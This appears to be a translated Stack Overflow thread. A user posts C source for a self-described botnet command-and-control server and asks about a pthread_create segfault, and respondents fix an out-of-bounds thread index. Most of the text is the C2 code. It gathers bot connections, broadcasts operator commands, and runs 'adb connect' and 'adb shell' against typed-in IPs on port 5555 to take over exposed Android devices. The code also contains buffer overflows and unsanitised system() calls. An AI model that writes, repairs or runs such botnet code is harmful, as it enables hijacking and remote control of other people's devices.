C 分段故障,pthread_create

C Segmentation fault, pthread_create

提问人:Zero 提问时间:12/16/2022 最后编辑:Jonathan LefflerZero 更新时间:12/16/2022 访问量:63

问:

我被这个pthread_create分段错误难住了。我已经使用 GDB 来查找故障所在——有什么想法吗?是的,它是一个僵尸网络命令和控制服务器;请不要因为其原因而发表负面评论。我的意图是好的,为了研究,也是为了让我了解 tcp/ip。

无论如何,pthread_create分段故障位于“pthread_create”第 249 行。

知道为什么以及如何发生这种情况吗?也许甚至是一个修复?

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <pthread.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/time.h>

#define TRUE 1
#define FALSE 0 
#define PORT 8888

#define BUFFER_SIZE 1024

unsigned int device_count = 0;

pthread_mutex_t lock;

static void clear(void) {
    printf("\033[H\033[2J");
}

static void banner(void) {
    clear();
    puts("\e[0;32m ██████╗  █████╗ ██████╗ ██╗  ██╗███╗   ██╗███████╗████████╗");
    puts("\e[0;32m ██╔══██╗██╔══██╗██╔══██╗██║ ██╔╝████╗  ██║██╔════╝╚══██╔══╝");
    puts("\e[0;32m ██║  ██║███████║██████╔╝█████╔╝ ██╔██╗ ██║█████╗     ██║   ");
    puts("\e[0;32m ██║  ██║██╔══██║██╔══██╗██╔═██╗ ██║╚██╗██║██╔══╝     ██║   ");
    puts("\e[0;32m ██████╔╝██║  ██║██║  ██║██║  ██╗██║ ╚████║███████╗   ██║   ");
    puts("\e[0;32m ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝╚══════╝   ╚═╝   ");
}

static void help(void) {
    puts("\n        ╔════ [Command] ════════════════════════════════════ [Description] ══════════════════════╗");
    puts("        ║     help                                           Displays help commands              ║");
    puts("        ║     list                                           Displays the amount of bots         ║");
    puts("        ║     banner                                         Displays the banner                 ║");
    puts("        ║     clear                                          Clears the screen                   ║");
    puts("        ║     exit                                           Exits the botnet                    ║");
    puts("        ╚════════════════════════════════════════════════════════════════════════════════════════╝");
}

static void list(void) {
    printf("\nBots -> %d\n", device_count);
}

void *handle_conn(void *new_socket) {
    terminal(*(int *)new_socket);
    pthread_exit(NULL);
    return NULL;
}

struct function {
    const char *shell;
    int (*function)(void);
};

struct function botnet_commands[] = {
    {"?", help},
    {"help", help},
    {"list", list},
    {"banner", banner},
    {"clear", clear},
};

enum {commands_amount = sizeof(botnet_commands) / sizeof(botnet_commands[0])};

int handler(char shell[BUFFER_SIZE]) {
    for (int i = 0; i < commands_amount; i++) {
        if (strstr(shell, botnet_commands[i].shell)) {
            return (*botnet_commands[i].function)();
        }
    }
}

void terminal(int master_socket){
    int k;
    int w_buf;
    char shell[BUFFER_SIZE];

    while(1){
        pthread_mutex_lock(&lock);

        printf("\n\e[0;31m╔═[ Dark@Net ]=[ Terminal ] ");
        printf("\n\e[0;31m╚═> ");

        w_buf = 0;
        bzero(shell, BUFFER_SIZE);

        while((shell[w_buf++] = getchar()) != '\n');

        if(strncmp("send_command", shell, 12) == 0){
            k = 0;

            char data_send[1024];
            bzero(data_send, 1024);

            printf("\n\e[0;31m╔═[ Dark@Net ]=[ Enter Command ]");
            printf("\n\e[0;31m╚═> ");

            while ((data_send[k++] = getchar()) != '\n');

            for (int i = 0; i <= device_count; i++) {
                pthread_mutex_unlock(&lock);
                if (write(master_socket, data_send, sizeof(data_send)) == -1) {
                    device_count--;
                }
                pthread_mutex_lock(&lock);
            }
            printf("\n[+] Data Successfully sent!\n");
        }else if (strncmp("connect", shell, 7) == 0) {
            char adb_con_before[15] = "adb connect ";
            char adb_con_after[15] = ":5555";
            
            char *adb_connect_ip;
            adb_connect_ip = (char *)malloc(32 * sizeof(char));
            
            printf("\n\e[0;31m╔═[ Dark@Net ]═[ Enter IP ]");
            printf("\n\e[0;31m╚═> ");
            scanf("%s", adb_connect_ip);
            
            strcat(adb_con_before, adb_connect_ip);
            strcat(adb_con_before, adb_con_after);
            
            system(adb_con_before);
            free(adb_connect_ip);
        } else if (strncmp("cmd", shell, 3) == 0) {
            char adb_shell_before[15] = "adb shell ";
            
            char *adb_cmd;
            adb_cmd = (char *)malloc(32 * sizeof(char));

            printf("\n\e[0;31m╔═[ Dark@Net ]═[ Enter Command ]");
            printf("\n\e[0;31m╚═> ");
            
            scanf("%s", adb_cmd);
            strcat(adb_shell_before, adb_cmd);

            system(adb_shell_before);
            free(adb_cmd);
        } else if (strncmp("shell", shell, 5) == 0) {
            printf("\nRemember, to exit, just use the 'exit' command.");
            system("adb shell");
        } else if (strncmp("restart", shell, 7) == 0) {
            system("adb kill-server");
            system("adb start-server");
        } else if (strncmp("exit", shell, 4) == 0) {
            break;
        } else {
            handler(shell);
        }
        pthread_mutex_unlock(&lock);
        sleep(1);
    }
    pthread_mutex_unlock(&lock);
}

int main(void){
    banner();
    int opt = TRUE;
    int max_sd;
    int master_socket, addrlen, new_socket, client_socket[100000], max_clients = 100000, activity, i = 0, valread, sd;
    struct sockaddr_in address;

    char buffer[1024];

    fd_set readfds;

    for (i = 0; i < max_clients; i++)
    {
        client_socket[i] = 0;
    }

    master_socket = socket(AF_INET, SOCK_STREAM, 0);
    if(master_socket == -1){
        printf("[-] Master socket setup unsuccessful...\n");
        exit(0);
    }else{
        printf("[+] Master socket setup successful...\n");
    }

    if(setsockopt(master_socket, SOL_SOCKET, SO_REUSEADDR, (char *)&opt, sizeof(opt)) < 0 ){
        printf("[-] Master socket opt setup unsuccessful...\n");
        exit(0);
    }else{
        printf("[+] Master socket opt setup successful...\n");
    }

    address.sin_family = AF_INET;
    address.sin_addr.s_addr = INADDR_ANY;
    address.sin_port = htons( PORT );

    if(bind(master_socket, (struct sockaddr *)&address, sizeof(address))<0){
        printf("[-] Bind setup unsuccessful...\n");
        exit(0);
    }else{
        printf("[+] Bind setup successful...\n");
    }

    if(listen(master_socket, 3) < 0){
        printf("[-] Listen setup unsuccessful...\n");
        exit(0);
    }else{
        printf("[+] Listening...\n");
        addrlen = sizeof(address);
    }

    pthread_t thread[150];
    pthread_mutex_init(&lock, NULL);

    while(1)
    {
        FD_ZERO(&readfds);
    
        FD_SET(master_socket, &readfds);
        max_sd = master_socket;
            
        for(i = 0; i < max_clients; i++){
            sd = client_socket[i];
                
            if(sd > 0)
                FD_SET(sd, &readfds);
                
            if(sd > max_sd)
                max_sd = sd;
        }
    
        activity = select(max_sd + 1, &readfds, NULL, NULL, NULL);
    
        if((activity < 0) && (errno!=EINTR))
        {
            printf("[-] Select setup unsuccessful...\n");
        }else{
            printf("[+] Select setup successful...\n");
        }

        if(FD_ISSET(master_socket, &readfds)){
            new_socket = accept(master_socket, (struct sockaddr *)&address, (socklen_t*)&addrlen);
            if(new_socket < 0){
                printf("[-] Client connection unsuccessful...\n");
                exit(0);
            }else{
                printf("[+] Client connected, IP: %s, Port: %d\n", inet_ntoa(address.sin_addr), ntohs(address.sin_port));
                device_count++;
                pthread_create(&thread[i++], NULL, handle_conn, &new_socket);
            }

            for(i = 0; i < max_clients; i++){
                if(client_socket[i] == 0){
                    client_socket[i] = new_socket;
                    printf("[+] Client added to list, ID: %d\n" , i);
                    break;
                }
            }
        }
            
        for(i = 0; i < max_clients; i++){
            sd = client_socket[i];
                
            if(FD_ISSET(sd, &readfds)){
                if((valread = read(sd, buffer, 1024)) == 0){
                    getpeername(sd, (struct sockaddr*)&address, (socklen_t*)&addrlen);

                    printf("[-] Client disconnected, IP: %s, Port: %d\n", inet_ntoa(address.sin_addr) , ntohs(address.sin_port));

                    device_count--;

                    close(sd);
                    client_socket[i] = 0;
                }else{
                    buffer[valread] = '\0';
                    send(sd, buffer, strlen(buffer), 0);
                }
            }
        }
    }
    return 0;
}

我已经尝试过GDB,它告诉我故障在哪里,仍然不知道如何解决此问题。

C 分段-故障 pthreads 僵尸网络

评论

2赞 pmacfarlane 12/16/2022
您似乎没有在 for() 循环中调用 pthread_create()。那么,你所说的索引“i”是什么?看起来它会越界,这要归功于它上面的 for() 循环。您还可以增加 'i',然后立即在从零开始的新 for() 循环中使用它。建议使用循环局部索引,例如 for (int i = 0; ...),而不是到处重复使用相同的变量(以及不同的东西)。
1赞 Craig Estey 12/16/2022
这甚至不能干净地编译。类型上有多个警告/错误。一些命令函数是返回的,一些是返回的。某些返回函数没有语句。那么,你是如何达到运行程序来显示段错误的地步的呢?voidintintreturn
2赞 user253751 12/16/2022
所有这些代码都与问题有关吗?全部?甚至是 ASCII 艺术?下次(或现在)请努力删除代码中不相关的部分。
2赞 pmacfarlane 12/16/2022
@Zero抑制编译器警告是一个糟糕的主意。编译器不是为了找你,而是在试图帮助你。注意警告。哎呀,启用更多警告:-Wall -Wextra
1赞 G.M. 12/16/2022
必须同意 pmacfarlane 的评论。据我所知,调用时的值是(即 10000)——这是声明的越界方式。您应该始终尽可能严格/切实地确定变量的范围(在本例中),以避免丢失对它们的跟踪。ipthread_create(&thread[i++], ...max_clientsthreadspthread_t thread[150];i

答:

2赞 pmacfarlane 12/16/2022 #1

问题(在问题中,可能还有其他问题)是变量“i”在几个地方被使用,显然用于不同的事情。它被用作三个 for() 循环中的通用索引,遍历 max_clients。但它也被用作某种线程计数器。

当调用 pthread_create() 时,“i”设置为 max_clients,这超出了 thread[] 数组的范围。

添加一个新变量用作线程计数器将解决该问题。

int thread_count = 0;
...
pthread_create(&thread[thread_count++], ...);

我建议完全删除函数范围的变量“i”,并使用范围限定为其循环的变量,例如

for (int i = 0; ...)

这将使问题更加明显,因为您必须弄清楚使用哪个变量来索引 thread[] 数组。

评论

0赞 Zero 12/16/2022
我很想给你投赞成票,但我无法自动取款机,因为我的声誉低于 15,你看的新帐户。